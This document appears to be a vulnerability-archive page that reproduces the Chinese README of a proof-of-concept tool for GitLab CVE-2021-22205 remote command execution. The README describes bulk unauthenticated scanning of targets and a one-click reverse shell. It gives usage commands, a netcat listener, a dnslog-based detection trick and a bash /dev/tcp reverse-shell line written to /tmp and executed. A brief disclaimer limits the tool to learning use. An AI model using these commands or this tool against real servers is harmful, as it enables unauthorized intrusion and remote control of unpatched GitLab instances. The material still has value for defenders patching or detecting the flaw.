Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source
Associated Vulnerability
Title: GitLab 代码注入漏洞 (CVE-2021-22205)
Description:An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
Description
CVE-2021-22205未授权漏洞批量检测与利用工具
Readme
## 0x01 前言

⚠️**声明:本项目仅供学习和交流使用,请勿用于非法未授权测试!**

**更新记录**

11.2
- 增加了一键反弹`shell`功能
- 优化了相关流程


11.1
- 增加了批量检测 文本中可以直接使用ip检测,不需要写协议

10.30

- 增加了`burp`代理池
- 重写了命令行参数
- 增加了`gitlab`未授权批量以及单个检测功能



**影响版本**
```bash
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
```



**⚠️部分版本漏洞有坑点无法利用,详细复现测试分析文章请参看我的blog**

http://blog.seals6.top/index.php/archives/14/

跟几个师傅测试了一下,总结如下,如果还有问题,欢迎私聊!
```bash
v11版本需要授权登陆或者注册新用户进入后台,新建项目进行上传
v12版本存在未授权,管理员登陆或者注册新用户进入后台,新建项目进行上传
v13版本存在未授权,管理员登陆,默认情况允许注册新用户,但还需要管理员审核后才能进入后台
```

## 0x02 使用说明

### 安装

```bash
pip3 install - r requirements.txt
```

### 使用方法

```bash
usage: CVE-2021-22205.py [-h] [-w WAY] [-u URL] [-f FILE] [-ri REIP] [-rp REPORT]

CVE-2021-22205

optional arguments:
  -h, --help            show this help message and exit
  -w WAY, --way WAY     Exploit way unauthorized or reverse shell
  -u URL, --url URL     url like http://127.0.0.1:8080
  -f FILE, --file FILE  url file path
  -ri REIP, --reip REIP
                        reverse ip
  -rp REPORT, --report REPORT
                        reverse port

```

单个`url`进行未授权上传漏洞检测
```python
python3 CVE-2021-22205.py -w un -u http://127.0.0.1
```

进行批量未授权上传漏洞检测

```python
python3 CVE-2021-22205.py -w un -f ./url.txt
```

一键反弹`shell`,目前只支持单个`ip`

```python
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
```

### 举个小例子

此漏洞默认不回显,输入命令,例如以`dnslog`带数据进行判断是否存在漏洞

![](img/img1.png)

重回`dnslog`进行检测,有回显即成功

![](img/img2.png)

### 反弹shell

监听`server`端`4444`端口

```bash
nc -l 4444
```

![](img/img3.png)

利用工具,具体流程是上传反弹`shell`脚本到`/tmp/1.sh` 然后进行执行

```bash
echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1' > /tmp/1.sh

chmod +x /tmp/1.sh

/bin/bash /tmp/1.sh
```

工具一键执行反弹shell

```python
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
```

![](img/img4.png)

成功`getshell`

![](img/img5.png)

## REF

https://hackerone.com/reports/1154542

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

https://github.com/RedTeamWing/CVE-2021-22205

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205/
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →